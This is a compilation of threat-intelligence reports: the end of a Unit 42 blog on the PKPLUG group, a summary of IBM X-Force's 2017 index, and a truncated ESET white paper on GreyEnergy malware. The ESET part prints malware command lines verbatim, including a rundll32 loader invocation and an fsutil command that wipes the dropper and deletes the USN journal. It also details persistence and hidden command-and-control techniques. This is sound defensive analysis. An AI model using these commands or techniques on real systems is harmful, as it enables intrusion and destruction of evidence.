content hosted. HenBox was masquerading as another app — DroidVPN — which was also embedded within HenBox and installed post-infection. **#6:** Based on further investigations and pivoting around HenBox infrastructure, Unit 42 discovered a previously-unknown Windows backdoor Trojan called Farseer. Farseer also uses the DLL side-loading technique to install payloads — this time favoring a signed Microsoft executable from VisualStudio to appear benign. A VBScript component is used, via a registry persistence hook, to launch the Microsoft executable and the Farseer payload during the user login process. In earlier Farseer variants, we saw decoy documents being used, including one case of a PDF containing a news article relating to Myanmar. Mongolia also appears to be a target based on telemetry provided by an industry partner of ours. Further information relating to these publications, together with respective Indicators of Compromise (IoC) and Tactics, Techniques and Procedures (TTPs) used, are available in the PKPLUG Adversary Playbook. ## Tying It All Together The following Maltego image shows the vast majority of known infrastructure and some of the known malware samples related to PKPLUG, and the chart continues to grow as we discover more about this adversary. The indexed shapes that overlay the figure provide a reference back to the published work chronology mentioned above. Overlaps between the different campaigns documented, and the malware families used in them, exist both in infrastructure (domain names and IP addresses being reused, sometimes in multiple cases) and in terms of malicious traits (program runtime behaviors or static code characteristics are also where relationships can be found or strengthened). The C2 infrastructure blogged by Blue Coat Labs in their publication (#1) “PlugX used against Mongolian targets” included ppt.bodologetee[.]com has infrastructure ties to microsoftwarer[.]com through a shared IPv4 with parent domain bodologetee[.]com. Domain microsoftwarer[.]com was found after threat hunting based on facts provided in publication (#4) “FHAPPI Campaign: FreeHosting APT PowerSploit Poison Ivy” in relation to the FHAPPI campaign. The FHAPPI campaign (#4) was documented as using PowerShell and PowerSploit code in order to infect victims with Poison Ivy, but very similar code was also found around PlugX malware, some of which had C2 communication with logitechwkgame[.]com. Domain logitechwkgame[.]com was documented by Unit 42 in publication (#3) “Attack Delivers 9002 Trojan Through Google Drive” as the C2 for the 9002 Trojans analyzed. FHAPPI is also connected through another malware using C2 infrastructure that relates, through a shared IPv4 address, to microsoftdefence[.]com, which malware documented in Arbor Networks’ publication (#2) “Poison Ivy Activity Targeting Myanmar, Asian Countries” also used for C2 communication. Other Poison Ivy samples also related to the campaigns documented by Arbor Networks used domain webserver.servehttp[.]com for C2 communication. Said samples also shared overlaps in runtime characteristics with other Poison Ivy samples that have been analyzed and confirmed as having C2 communications with certain domains that relate to both Blue Coat Labs’ publication (#1) and Unit 42’s research into Farseer malware and their publication (#6) “Farseer: Previously Unknown Malware Family bolsters the Chinese armoury”. Domains include yahoomesseges[.]com and outhmail[.]com, tcpdo[.]net, queryurl[.]com, and cdncool[.]com respectively. The same registrant of yahoomesseges[.]com – mongolianews@yahoo[.]com – also registered ppt.bodologetee[.]com mentioned slightly earlier. Some HenBox malware has used domain cdncool[.]com as well for its C2 communications, as documented in Unit 42’s publication (#5) “The Chickens Come Home to Roost.” Domain cdncool[.]com is thus connected not only to HenBox and Farseer campaigns, but also, through Poison Ivy malware, to the campaigns documented by Blue Coat Labs and Arbor Networks. HenBox is also connected through a third-level domain update.queryurl[.]com to queryurl[.]com that has been used for C2 communications by some Farseer samples. Other overlaps, mainly in infrastructure also exist but are difficult to describe in a blog like this, hence using Maltego. ## PKPLUG’s Adversary Playbook Unit 42 has previously described and published Adversary Playbooks you can view using our Playbook Viewer. To recap briefly, Adversary Playbooks provide a Threat Intelligence package in STIX 2.0 that include all IoCs for known attacks by a given adversary. In addition, said packages also include structured information about attack campaigns and adversary behaviours — their TTPs — described using Mitre’s ATT&CK framework. The Adversary Playbook for PKPLUG can be viewed here, and the STIX 2.0 content behind that can be downloaded from here. The Playbook contains several Plays (aka campaigns; instances of the Attack Lifecycle) that map, for the most part, to published research previously mentioned in this blog. There exists Plays including specific details from publications by Blue Coat Labs, Arbor Networks, our publication on the 9002 Trojan, and the FHAPPI campaign. HenBox has two Plays — one for the known attack compromising a third-party app store to deliver the malware and another containing all other HenBox data. A similar single campaign exists for Farseer containing all related data. ## Conclusion Establishing a clear picture and understanding about a threat group, or groups, is virtually impossible without total visibility into every one of their attack campaigns. Based on this, applying a handle or moniker to a set of related data — such as network infrastructure, malware behavior, actor TTPs relating to delivery, exfiltration, etc. — helps us to better understand what it is we’re investigating. Sharing this information — with a handle, in this case PKPLUG — especially in a structured, codified manner a la Adversary Playbooks, should allow others to contribute their vantage points and enrich said data until the understanding of a threat group becomes lucid. Based on what we know and what we’ve gleaned from others’ publications, and through industry sharing, PKPLUG is a threat group, or groups, operating for at least the last six years using several malware families — some more well-known: Poison Ivy, PlugX, and Zupdax; some are less well-known: 9002, HenBox, and Farseer. Unit 42 has been tracking the adversary for three years and based on public reporting believes with high confidence that it has origins to Chinese nation-state adversaries. PKPLUG targets various countries or provinces in and around the Southeast Asia region for multiple possible reasons as mentioned above, including some countries that are members of the ASEAN organisation, some regions that are autonomous to China, some countries and regions somewhat involved with China’s Belt and Road Initiative, and finally, some countries that are embroiled in ownership claims over the South China Sea. The Playbook Viewer helps to highlight some of the more common TTPs used by PKPLUG but, based on our visibility, spear-phishing emails to deliver payloads to their victims is very popular. Some email attachments contained exploits taking advantage of vulnerable Microsoft Office applications; however, this technique was less commonly used compared with social engineering to lure the victim into opening attachments. DLL side-loading seems almost ubiquitous as a method to install or run their payloads, though perhaps more recently, PowerShell and PowerSploit is also being considered. Other TTPs are described in the STIX 2.0 package and presented in the Viewer. The use of Android malware shows intent to get at targets where perhaps traditional computers, operating systems, and ways of communicating are different from previous targets. Palo Alto Networks detects customers are protected by these threats through the following: - Customers using AutoFocus can view this activity by using the following tags: PKPlug - All malware identified are detected as malicious by WildFire and Traps ## Indicators of Compromise Indicators of compromise relating to PKPLUG can be found in the Adversary Playbook through the Playbook Viewer itself, or indirectly from the STIX 2.0 JSON file powering it.
# IBM X-Force Threat Intelligence Index 2017 ## Executive Overview With internet-shattering distributed-denial-of-service (DDoS) attacks, troves of records leaked through data breaches, and a renewed focus by organized cybercrime on business targets, 2016 was a defining year for security. Indeed, in 2016 more than 4 billion records were leaked, more than the combined total from the two previous years, redefining the meaning of the term "mega breach." In one case, a single source leaked more than 1.5 billion records. Most notably, the average monitored client was found to have experienced 93 security incidents in 2016, down 48 percent from the 178 discovered in 2015. Does this reduction in attacks and incidents reflect a safer security environment in 2016? Perhaps. However, the reduction in attacks could mean attackers are relying more on proven attacks, thus requiring fewer attempts. Additionally, the combination of massive record leaks and a record year of vulnerability disclosures also paints a different picture. ## Methodology To better understand the security threat landscape, X-Force uses both data from monitored security clients and data derived from non-customer assets such as spam sensors and honeynets. X-Force runs spam traps around the world and monitors more than eight million spam and phishing attacks daily. It has analyzed more than 37 billion web pages and images. IBM Security Services monitors billions of events per year from more than 8,000 client devices in more than 100 countries. This report includes data IBM collected between January 1, 2016, and December 31, 2016. In this year’s report, IBM X-Force Threat Research adopted the MITRE Corporation’s Common Attack Pattern Enumeration and Classification (CAPEC) standard for attack categorization. ## The Shifting World of Breaches The year 2016 was notable for the way in which cyber attacks had a discernible impact on real-world events and infrastructure. Beginning in December 2015, reports appeared of a malware-caused power outage in Ukraine, leaving hundreds of thousands of people without electricity for several hours in the middle of winter. Nearly a year later, a smaller but similar Ukrainian power outage surfaced, also attributed to a cyber attack. These two events bookended the year and served as heralds of the widespread impact of security incidents on the physical world. World-changing leaks were most prominently registered through a number of high-profile data leaks that had a direct influence on global politics. In April 2016, 11.5 million leaked documents from the Panamanian law firm Mossack Fonseca exposed offshore accounting of thousands of prominent people from around the world. The "Panama Papers" showed insider financials of several current and former heads of state, their friends and family, as well as businesspeople and celebrities. In past years, data breaches were often in the form of a fixed set of structured information such as credit card data, passwords, national ID numbers, and personal health information (PHI) data. In recent years, X-Force has observed the release of much larger caches of unstructured data, such as the contents of emails. In 2016, there were many notable examples of leaks involving hundreds of gigabytes of email archives, documents, intellectual property, and source code, exposing companies’ complete digital footprints to the public. ## Notable Attack Vectors Spam email remains a primary tool in the attacker’s toolkit, reinforcing the pervasiveness of malware and the potential for inadvertent insider attacks. By the end of 2016, X-Force had noted a fourfold increase in the volume of spam over the previous year, as well as a marked increase in malicious attachments to that spam. The X-Force vulnerability database has been tracking public disclosures of software vulnerabilities since 1997. In 2016, the highest single-year number in its history was recorded: 10,197 vulnerabilities. Web application vulnerability disclosures made up 22 percent of the total vulnerability disclosures in 2016. ## Top Targeted Industries Breaking out publicly disclosed security events in 2016, X-Force sees that the industries experiencing the highest number of incidents and reported records breached were information and communications and government. The healthcare industry, which fell just outside the top five in terms of records breached, continued to be beleaguered by a high number of incidents. During 2016, IBM Managed Security Services identified five key sectors that provide critical insights into trends and practices: - Financial services - Information and communications - Manufacturing - Retail - Healthcare Two common attack types stand out from the rest across these five attacked industries: SQL injection and OS command injection. Cybercriminals often consider these vulnerabilities to be "low-hanging fruit" or relatively easy to exploit. ## Where Are the “Bad Guys”? In prior years, X-Force looked at the totality of data collected from all industries and compared insider versus outsider IP addresses to present a global view of where the threats were originating. For 2016, X-Force looked at each industry to see how they compared. The industry experiencing the highest number of attacks in 2016 was financial services. The data for this sector reveals a greater percentage (58 percent) of insider attacks versus outsider attacks (42 percent). The insiders are composed of both inadvertent actors (53 percent) and malicious insiders (5 percent). The remaining three of the top five attacked sectors had a greater percentage of outside attackers than insiders. Within information and communications, manufacturing, and retail, 60 percent of the attacks were categorized as "Inject Unexpected Items." ## Conclusion The findings from the IBM X-Force Threat Intelligence Index 2017 highlight the evolving landscape of cyber threats and the need for organizations to remain vigilant in their security practices. As attackers continue to refine their methods and exploit vulnerabilities, it is crucial for industries to adapt and strengthen their defenses against these persistent threats.
# GREYENERGY White Paper **October 2018** **Author: Anton Cherepanov** **TLP: WHITE** ## GREYENERGY A successor to BlackEnergy ## INTRODUCTION ESET researchers have discovered and analyzed advanced malware, previously undocumented, that has been used in targeted attacks against critical infrastructure organizations in Central and Eastern Europe. The malware, named GreyEnergy by ESET researchers, exhibits many conceptual similarities with BlackEnergy, the malware used in attacks against the Ukrainian energy industry in December 2015. Besides these similarities, there are links that suggest that the group behind GreyEnergy has been working together with the TeleBots group, known in connection with many destructive attacks. This report reveals the activities of the GreyEnergy group over the past few years. In December 2015, the BlackEnergy group mounted an attack against the Ukrainian energy industry using the BlackEnergy and KillDisk malware families. That was the last known use of the BlackEnergy malware in the wild. Following this attack, the BlackEnergy group evolved into at least two subgroups: TeleBots and GreyEnergy. The main goal of the TeleBots group is to perform cybersabotage attacks on Ukraine, which are achieved through computer network attack (CNA) operations. The group performed a number of such disruptive attacks, including: - A series of attacks in December 2016 using an updated version of the KillDisk malware designed for Windows and Linux OSes. - The notorious NotPetya attack of June 2017, performed using a sophisticated backdoor that was embedded into the Ukrainian accounting software MEDoc. - The attack using the BadRabbit family in October 2017. ESET researchers have been tracking the activities of the GreyEnergy group for several years. The group is using a unique family of malware that we detect as GreyEnergy. The design and architecture of the malware are very similar to those of the BlackEnergy malware. Besides the conceptual similarities in the malware itself, there are links that suggest that the group behind the GreyEnergy malware has been working closely with the TeleBots group. Specifically, the GreyEnergy group deployed a NotPetya-like worm in December 2016, and a more advanced version of this malware was used later by the TeleBots group in the notorious June 2017 attack. The GreyEnergy group has different goals than the TeleBots group: this group is mostly interested in industrial networks belonging to various critical infrastructure organizations and, unlike TeleBots, the GreyEnergy group is not limited to Ukrainian targets. In late 2015, we first spotted the GreyEnergy malware targeting an energy company in Poland. Still, as with BlackEnergy and TeleBots, the group’s main focus has been on Ukraine. They have primarily shown interest in the energy sector, followed by transportation and other high-value targets. At least one organization that had previously been targeted by BlackEnergy has more recently been under attack by GreyEnergy. The most recently observed use of the GreyEnergy malware was in mid-2018. The GreyEnergy malware is modular, but unlike Industroyer, we have not seen GreyEnergy incorporate any module capable of affecting industrial control systems (ICS). However, the operators of this malware have, on at least one occasion, deployed a disk-wiping component to disrupt operating processes in the affected organization and to cover their tracks. One of the most intriguing details discovered during our research is that one of the GreyEnergy samples we found was signed with a valid digital certificate that had likely been stolen from a Taiwanese company that produces ICS equipment. In this respect, the GreyEnergy group has literally followed in Stuxnet’s footsteps. ## GREYENERGY MODUS OPERANDI During our tracking of the GreyEnergy group’s activity, we have mostly seen the attackers use two initial infection vectors. The first one is relevant for organizations with self-hosted web services. If such a public-facing web service is running on a server that is connected to an internal network, attackers will try to compromise it and then sneak inside the network. The second infection vector is the use of spearphishing emails with malicious attachments. We have observed that malicious documents have been dropping “GreyEnergy mini,” a lightweight first-stage backdoor that does not require administrative privileges. After compromising a computer with GreyEnergy mini, attackers map the network and collect passwords in order to obtain domain administrator privileges. With these privileges, the attackers can control the whole network. The GreyEnergy group uses fairly standard tools for these tasks: Nmap and Mimikatz. Once attackers are done with the initial network mapping, they can deploy their flagship backdoor – the main GreyEnergy malware. This malware requires administrator privileges, which must already have been obtained before this stage is reached. According to our research, the GreyEnergy actors deploy this backdoor mainly on two types of endpoints: servers with high uptime, and workstations used to control ICS environments. To make communication with command and control (C&C) servers stealthier, the malicious actors may deploy additional software on internal servers in the compromised network, so each server would act as a proxy. Such a proxy C&C redirects requests from infected nodes inside the network to an external C&C server on the internet. This way, it might be less suspicious to a defender who notices that multiple computers are “talking” to an internal server, rather than to a remote server. This technique can also be used by attackers to control the malware in different segments of a compromised network. A similar technique using internal servers as C&C proxies was used by the Duqu 2.0 APT. If an affected organization has public-facing web servers connected to an internal network, the attackers may deploy “backup” backdoors onto these servers. These backdoors are used to regain access to the network in the event that the main backdoors are detected and removed. All C&C servers we have seen used by the GreyEnergy malware have been Tor relays. ## GREYENERGY MINI GreyEnergy mini is a lightweight first-stage backdoor that is used by attackers in order to evaluate a compromised computer and gain an initial foothold in the network. Usually, GreyEnergy mini malware is downloaded by a malicious document that was delivered using spearphishing email. GreyEnergy mini is also known as FELIXROOT. In September 2017, ESET detected a Microsoft Word decoy document in the Ukrainian language, carrying a malicious macro. The decoy document was designed to look like an interactive form, prompting the victim to enable macros in order to fill it in. Once the macro is enabled, its code attempts to download and execute a binary from a remote server. Interestingly, that document has embedded in its body a link that points to a remote picture. Once the document is opened, it makes an attempt to download that picture. Therefore, attackers are notified when the document is opened. This technique allows tracking a success ratio between targets who enabled the malicious macro versus those who just opened the document without enabling macros. The downloaded executable is a GreyEnergy mini dropper. The dropper writes a malicious DLL in the %APPDATA% folder using a randomly generated GUID as its name. In addition, the dropper creates a .LNK file, using a blank filename, in the Startup folder in the Start Menu with an entry that executes rundll32.exe with the path to the DLL as a command line argument. This is the persistence method used by GreyEnergy mini. This dropped DLL is the main module of GreyEnergy mini; it is disguised as a legitimate file that belongs to Microsoft Windows. In order to assess the value of a compromised computer, the malware collects as much information as possible and sends the collected data to the C&C. The information collection is performed using WMI Query Language (WQL) and queries to the Windows registry. The following information is collected: - Computer name - Operating system version, including service pack version - Default locale - Username - Current Windows user privileges, elevation, UAC level - Proxy settings - Information about computer (manufacturer, model, system type) - Time zone - Installed security software (antivirus and firewall) - List of users and domains - List of installed software obtained from registry - Information about network (IP addresses, DHCP Server, etc) - List of running processes The malware receives commands from a C&C server. The following commands are supported: | Command ID | Meaning | |------------|---------| | 1 | Collect information about computer | | 2 | Download and run executable file from temporary directory | | 3 | Run shell command | | 4 | Uninstall itself from compromised computer | | 5 | Download and run BAT file from temporary directory | | 6 | Download file to local drive | | 7 | Upload file | The configuration of the malware is embedded, in JSON format, inside the binary and is encoded with a custom algorithm. The encrypted data contains four bytes at the beginning; these bytes are used as the key for an XOR operation to decrypt the rest of the data. Most strings used by the malware are encrypted using this algorithm. All GreyEnergy mini configurations we have seen contain HTTPS and HTTP servers used as C&Cs. This allows attackers to switch to HTTP on targets where HTTPS is not allowed by network or firewall configurations. The GreyEnergy mini malware shares code similarities with other GreyEnergy malware. In addition to that, both GreyEnergy mini and the main GreyEnergy backdoor shared exactly the same C&C servers. ## GREYENERGY MALWARE The GreyEnergy malware is the flagship backdoor of the GreyEnergy group. The malware samples analyzed here are written in C and compiled using Visual Studio, but without using the standard C run-time libraries (CRT) functions. Packed samples may contain a forged PE timestamp, but once the samples are unpacked, the PE timestamp is zero (representing 1 January, 1970). Interestingly, one of the first GreyEnergy malware samples analyzed was digitally signed with a code-signing certificate belonging to a company named Advantech. Advantech is a Taiwanese company that produces industrial equipment and IoT hardware. Since we discovered that exactly the same certificate was used to sign clean, non-malicious software from Advantech, we believe that this certificate was likely stolen. It is worth noting that the discovered sample does not have countersignatures, which means that the digital signature became invalid once the certificate’s validity period had expired. We observed that the GreyEnergy malware is usually deployed in two modes: in-memory-only mode, and using Service DLL persistence. The former mode is used when attackers are confident that malware deployment does not require any persistence at all (e.g., servers with high uptime); the latter mode is used when the malware needs to be able to survive any possible reboot. ### In-memory-only mode For the in-memory-only mode, attackers put a DLL file in a specific folder and then execute it using the Windows application rundll32.exe. We have seen that the attackers are using Windows Sysinternals PsExec tool locally in order to execute rundll32.exe under the highest possible privileges (NT AUTHORITY\SYSTEM). Here is an actual command line used in the initial stage of GreyEnergy’s in-memory-only execution: ``` cmd.exe /c “C:\Windows\System32\rundll32.exe “C:\Sun\Thumbs.db”,#1 CAIAABBmAAAgAAAA8GFGvkHVGDtGRqcl3Z3nYJ9aXCm7TVZX8klEdjacOSU=” ``` In this example, Thumbs.db represents a GreyEnergy DLL file, of which the function with the first ordinal is called by the rundll32.exe process. The supplied command line parameter contains a base64-encoded sequence of bytes that is later used as an AES-256 key to decrypt a small stub. Afterwards, the code in the stub launches a new instance of the svchost.exe process and injects a GreyEnergy payload there. In the final step, the GreyEnergy rundll32.exe process is terminated and the malicious DLL file is secure-wiped from the disk. The GreyEnergy payload would therefore exist only in the context of its svchost.exe’s process memory. Apparently, the malware authors’ intention was to design the malware in such a way that without having the key provided on the command line, it is impossible to decrypt the stub and payload. If the in-memory-only mode is used, terminating the corresponding svchost.exe process or rebooting the computer is enough to remove the GreyEnergy malware. ### Service DLL persistence To use this method, the malware operators deploy a GreyEnergy dropper, which must be executed under administrator privileges. The ServiceDLL registry key is a feature that allows starting a service DLL module in the context of the svchost.exe process. This feature is not well documented by Microsoft; however, it has been used by a number of malware families, including the prolific Conficker worm. For service DLL persistence, the malware dropper finds an already existing service and adds a new ServiceDLL registry key. Since using this method could break the system, the dropper first performs a series of checks in order to pick a service that fulfills many requirements. First, the dropper enumerates all Windows services that are currently stopped, by executing the following WQL query: ``` Select * from Win32_Service where PathName Like ‘%%svchost%%’ and State = ‘Stopped’ ``` The following conditions can be added to the query: - and StartMode = ‘Disabled’ - or and StartMode = ‘Manual’ - and ServiceType = ‘Own Process’ - or and ServiceType = ‘Share Process’ Next, the dropper tries to pick the right service by enumerating the results and skipping those that match the following conditions: - Service name contains winmgmt (Windows Management Instrumentation) or BITS (Background Intelligent Transfer Service). - The dropper does not have access to the service or the registry key. - The DependOnService registry value is not empty. - A registry value does not exist for ServiceDll or ImagePath. - The service’s command line contains one of these words: - DcomLaunch - LocalServiceNetworkRestricted - LocalServiceNoNetwork - LocalServicePeerNet - LocalSystemNetworkRestricted - NetworkServiceNetworkRestricted - secsvcs - wcssvc Once a service is found that satisfies these conditions, the malware drops a DLL file into the system32 directory of Windows and writes the ServiceDLL registry key. The name of the DLL contains four randomly generated characters and svc.dll or srv.dll at the end. In addition, the dropper forges the file’s time metadata by copying it from the existing user32.dll file. The latest version of the GreyEnergy dropper supports both 32- and 64-bit operating systems. The dropper uses an interesting trick to disguise the malicious DLL as a legitimate file. Specifically, the dropper makes a copy of the VERSIONINFO resource, which contains a detailed file description from the executable that belongs to the original Windows service, and writes this data into the malicious DLL. It’s done by using the BeginUpdateResource/UpdateResource/EndUpdateResource Windows API functions. The latest versions don’t call these functions from the API; their code is implemented in the malware itself, in order to avoid dropping the DLL file onto the disk without the fake VERSIONINFO resource, presumably to evade detection by some security product. The same dropper could create malicious DLL files with different descriptions on different computers. Each sample deployed in this way will have a unique hash. If the malware is already present on the system, then the dropper can update it using a named pipe. In the final step, the dropper deletes itself securely, by overwriting the file with zeros and removing the file from the disk. In addition, the dropper cleans the USN journal. All these actions are performed by executing the following shell command: ``` timeout 2 > nul & fsutil file setzerodata offset=0 length=%DROPPER_FILESIZE% “%DROPPER_PATH%” & timeout 2 & cmd /c del /F /Q “%DROPPER_PATH%” & fsutil usn deletejournal /D %DROPPER_DRIVE% ``` ### Configuration and communication The persistence mode selected by the operators does not affect the functionality of the malware, which remains the same in both methods. The malware contains an embedded configuration that is encrypted using the AES-256 algorithm and compressed using the LZNT1 algorithm. MIME multipart format is used for the malware’s embedded configuration. The malware authors didn’t implement their own parser for this format; instead, they use the IMimeMessage and IMimeBody COM interfaces. Interestingly, Microsoft’s documentation recommends not using these interfaces. An identical MIME format is used for external configuration; however, the malware encrypts the external configuration differently. The malware uses the Data Protection application programming interface (DPAPI) — specifically the CryptProtectData and CryptUnprotectData Windows API functions. The external configuration is stored in the following path: `C:\ProgramData\Microsoft\Windows\%GUID%`, where %GUID% is a randomly generated GUID value. Some GreyEnergy samples contain a bit-obfuscated version of the configuration. Specifically, such configurations Type fields contain letters instead of configuration option names. The configuration may contain the following values: | Configuration option | Obfuscated name | Meaning | |----------------------|-----------------|---------| | Type: ServerUrls | | List of C&C servers (this value can be encoded using base64) | | User | D1 | | | Password | D2 | | | Access | D3 | 1 – Don’t use Proxy, 3 – Use proxy | | Type: ServerProxies | Type: E | List of proxy servers (this value can be encoded using base64) | | ProxyType | E1 | Not used | | Type: Client | Type: F | Hexadecimal Campaign ID | | Sleep | F1 | Time out in minutes between requests to C&C servers | | FSleep | F2 | Time out in minutes between requests to C&C servers (in case of failed connection) | | Lifetime | F4 | Number of days the malware can tolerate with no successful connection to C&C servers | | LastrequestH | F5 | The high-order part of the time of the last successful connection to C&C servers | | LastrequestL | F6 | The low-order part of the time of the last successful connection to C&C servers | | Attempts | F7 | Number of attempts to send requests to C&C servers | | MaxAttempts | F8 | Number maximum attempts to send request to C&C servers | The malware deletes itself from the compromised computer if the number of failed connection attempts is greater than the MaxAttempts value and the last successful connection was more than Lifetime days ago. C&C communication is usually over HTTPS; however, in some cases HTTP is used also. The same MIME format is encapsulated in HTTP requests. However, it should be noted that the data are encrypted using AES-256 and RSA-2048. If HTTP is used, then it’s easier to identify a compromised machine in a network by analyzing its network traffic. The analyzed malware samples always used the following hardcoded user agents: - Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko - Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko To help the malware operators identify infected computers, the malware sends the results of the following WQL queries to a C&C server: - SELECT Caption, Version, CSName, ProductType, CurrentTimeZone, LocalDateTime, OSLanguage, OSType FROM Win32_OperatingSystem - SELECT MACAddress, IPAddress, IPSubnet, DHCPEnabled, DHCPServer, DNSDomain FROM Win32_NetworkAdapterConfiguration WHERE MACAddress IS NOT NULL The C&C server’s answers are encrypted, but once an answer is decrypted, it contains the same MIME format, with the following possible values: | Command | Obfuscated name | Meaning | |---------|-----------------|---------| | Type: Image | Type: A | Contains Base64 encoded and compressed binary | | Version | A1 | Not used | | Option | A2 | | | Name | A3 | Name of image | | Type: Command | Type: B | Contains text of module command and parameters | | Session | B1 | Sets token for impersonation | | Type: Payload | Type: C | Contains Base64 encoded and compressed binary | | PID | C1 | | The GreyEnergy malware loads additional modules and payloads into memory using its own loader for PE files. ### GreyEnergy modules Like many complex threats, the GreyEnergy malware has a modular architecture. The functionality of the malware can be easily extended with additional modules. A GreyEnergy module is a DLL file that gets executed by calling the function with the first ordinal. Each module, including the main GreyEnergy module, accepts text commands with various parameters. The malware operators do not push all modules at once to a compromised machine. The malware usually downloads and executes modules that are necessary for its current task. So far, we are aware of the existence of the following GreyEnergy modules: | Module name | Purpose | |-------------|---------| | remoteprocessexec | Injects a PE binary into a remote process | | info | Collects information about system, event logs, SHA-256 of malware | | file | File system operations | | sshot | Grabs screenshots | | keylogger | Harvests pressed key strokes | | passwords | Collects saved passwords from various applications | | mimikatz | Mimikatz software used to collect Windows credentials | | plink | Plink software used to create SSH tunnels | | 3proxy | 3proxy software used to create proxies | The remoteprocessexec module allows the attacker to execute arbitrary binaries in the context of already existing processes. For example, the attackers can execute Mimikatz or a port scanner in the context of Windows Explorer, without dropping them on the disk. To redirect the standard output and to handle threads and process termination, the module hooks five Windows API functions. Since the dropped GreyEnergy DLL is unique for each infected machine, the attackers could collect their SHA-256 hashes using the info module. Having these hashes would allow the attackers to track whether the file was uploaded to one of the public “multi-scanner” web services, such as VirusTotal. ### Anti-reversing and anti-forensics techniques GreyEnergy malware implements several tricks to make forensic and malware analysis harder. For one, the malware encrypts strings. Some of the variants use the exact same algorithm as GreyEnergy mini. However, most of the GreyEnergy samples use a slightly different encryption algorithm. Specifically, the first four bytes in an encrypted blob are not used as the key for XOR operations. Instead, they are used to initialize the seed of a Mersenne Twister pseudorandom number generator (PRNG) algorithm, and then the generated four bytes are used as the key. Before freeing the memory buffer holding the plaintext string, the malware overwrites the buffer with zeros. The malware hooks DeleteFileA and DeleteFileW functions in the import table of each PE binary loaded in memory. The hook replaces these functions with a function that wipes files securely. Specifically, the file is overwritten with zeroes before deleting it from the disk. Thus, each payload or plugin would use such a feature without the malware author’s need to implement it in each module. ## TOOLS The attackers have been using the Nmap port-scanner as their main tool for mapping their victims’ internal networks. However, we have seen instances where they used a lightweight, custom-made port scanner when they couldn’t use Nmap. The attackers actively use legitimate tools such as SysInternals PsExec and WinExe to perform lateral movement across a compromised network. The WinExe tool is an open-source equivalent to PsExec, but it can be controlled from a Linux computer, for example from a compromised Linux web server. It is worth mentioning that in addition to these tools, the attackers use a number of PowerShell scripts. ## WEB SERVER BACKDOORS As mentioned before, the attackers deploy additional backdoors to web servers if these servers are accessible from the internet. We observed that the GreyEnergy group tends to use backdoors written in PHP for these purposes. Specifically, they use publicly available PHP webshells named WSO webshell and c99shell. The attackers can modify an already-existing PHP script on a web server or deploy a new one. The real PHP code of the backdoor is usually hidden under several layers of obfuscation and encryption. The final layer of code is protected using a stream cipher. A keystream generation of this cipher is based on a string from a cookie value, provided via an HTTP request by the attacker. Each such PHP backdoor is encrypted with a separate key. ## PROXY C&C (AKA TRIUNGULIN) As mentioned before, the attackers can use an internal server as a proxy C&C. It is important to note that we have discovered that the attackers have even built chains of proxy C&C servers, in which the first such server would redirect network traffic to the next proxy C&C and so on, until it reaches its final destination on the internet. The attackers use different methods to turn an internal server into a proxy C&C. To do so, the attackers could use the GreyEnergy malware itself, additional third-party software, or scripts. In the first case, the attackers could compromise a Windows server with the GreyEnergy malware, turning it into a proxy C&C by pushing 3proxy and plink modules. While monitoring GreyEnergy activity, we have seen deployment of the following legitimate third-party software on internal Linux servers: - 3proxy tiny proxy server - Dante SOCKS server - PuTTY Link (Plink) Instead of third-party software, the attackers have leveraged internal web servers by deploying their own scripts on them. For this, they have used the PHP and ASP programming languages. In all the cases we observed, the PHP scripts deployed were obfuscated and encrypted using the same type of obfuscation that was used for web server backdoors. However, in this case, the cookie that contains a decryption key is supplied by the GreyEnergy malware itself. For that reason, the malware operators have to use a special configuration format for the ServerUrls value. Interestingly, the malware configuration contains the word triungulin in the path to the obfuscated proxy PHP script. It seems that this is an internal name for this proxy C&C technique used by the malware operators. It is important to note that if the malware has an internal proxy C&C server in its configuration, then it does not contain the external C&C. In order to find an external C&C address, it is, therefore, necessary to have both a malware sample and all associated PHP scripts. We have seen the following PHP scripts used: - A custom PHP proxy script - A slightly modified version of the Antichat Socks5 Server A custom PHP proxy script contains a URL with the external C&C in the header. The custom PHP proxy script uses OpenSSL and Curl libraries in order to redirect requests from the malware to an external C&C server on the internet. As mentioned before, the attackers could use ASP scripts for the same purpose. In one case that we saw, an ASP script was using a cookie supplied by the malware in order to decrypt only a real C&C address using AES: the rest of the code was not encrypted or obfuscated. ## INTERNET FACING C&C SERVERS All C&C servers used by the GreyEnergy malware were running Tor relay software when they were active. This C&C infrastructure setup is similar to BlackEnergy, TeleBots, and Industroyer, which all used servers that were Tor relays as well. It is likely that each C&C server has an onion address and attackers are using it to access, control or transfer data. It seems this is an OPSEC requirement, which adds an additional level of anonymity for the attackers. ESET researchers identified the C&C servers used by GreyEnergy malware in the past three years. The list is located in the IoCs section of this paper. ## GREYENERGY AND BLACKENERGY COMPARISON The GreyEnergy and BlackEnergy malware families have a similar design, and a similar set of modules and features. Although the implementation of these features is different, they are still comparable. | Feature | BlackEnergy malware | GreyEnergy malware | |---------|---------------------|--------------------| | Modular | Yes | Yes | | Persistence | Driver | Service DLL registry key | | Embedded configuration format | XML | MIME multipart | | Embedded configuration contains internal proxies | Yes | Yes | | External configuration encryption | Modified RC4 | DPAPI | | Used compression | aPlib | LZNT1 | | Mini version persistence | LNK file | LNK file | | Mini version configuration format | X509 | JSON | | C&C servers run Tor relay | Yes | Yes | | Most targeted countries | Ukraine, Poland | Ukraine, Poland | ## MOONRAKER PETYA In December 2016, the attackers deployed a worm that we believe to have been a predecessor to NotPetya (also known as Petya, ExPetr, Nyetya, EternalPetya). This worm was deployed against a small number of targets and had limited spreading capabilities, which is why it wasn’t generally known to the security research community. The worm is a DLL file deployed under the name msvcrt120b.dll in the Windows directory. The internal name of the DLL is moonraker.dll, which is possibly a reference to a James Bond movie and novel of the same name, hence we named this worm Moonraker Petya. The PE Timestamp of the DLL suggests that it was compiled in December 2016, probably immediately before deployment. Moonraker Petya contains code that makes the computer unbootable. Specifically, it rewrites the ImagePath registry value in the [HKEY_LOCAL_MACHINE\System\ControlSet001\Services\ACPI] and [HKEY_LOCAL_MACHINE\System\ControlSet002\Services\ACPI] registry keys and wipes the first sector of the system drive. However, unlike NotPetya, Moonraker Petya does not contain code that directly interacts with the MBR and bootloader. Instead, the Moonraker Petya DLL contains an encrypted blob of binary data. The malware expects a command line argument, which will later be used as a decryption key. After decryption and decompression using the zlib library, this code is loaded into memory as a PE binary and executed. We do not have the key for decryption, but we analyzed disk images of affected computers. These images contained MBR and bootloader code that exactly matches code found in the original Green Petya, which was used by various cybercrime 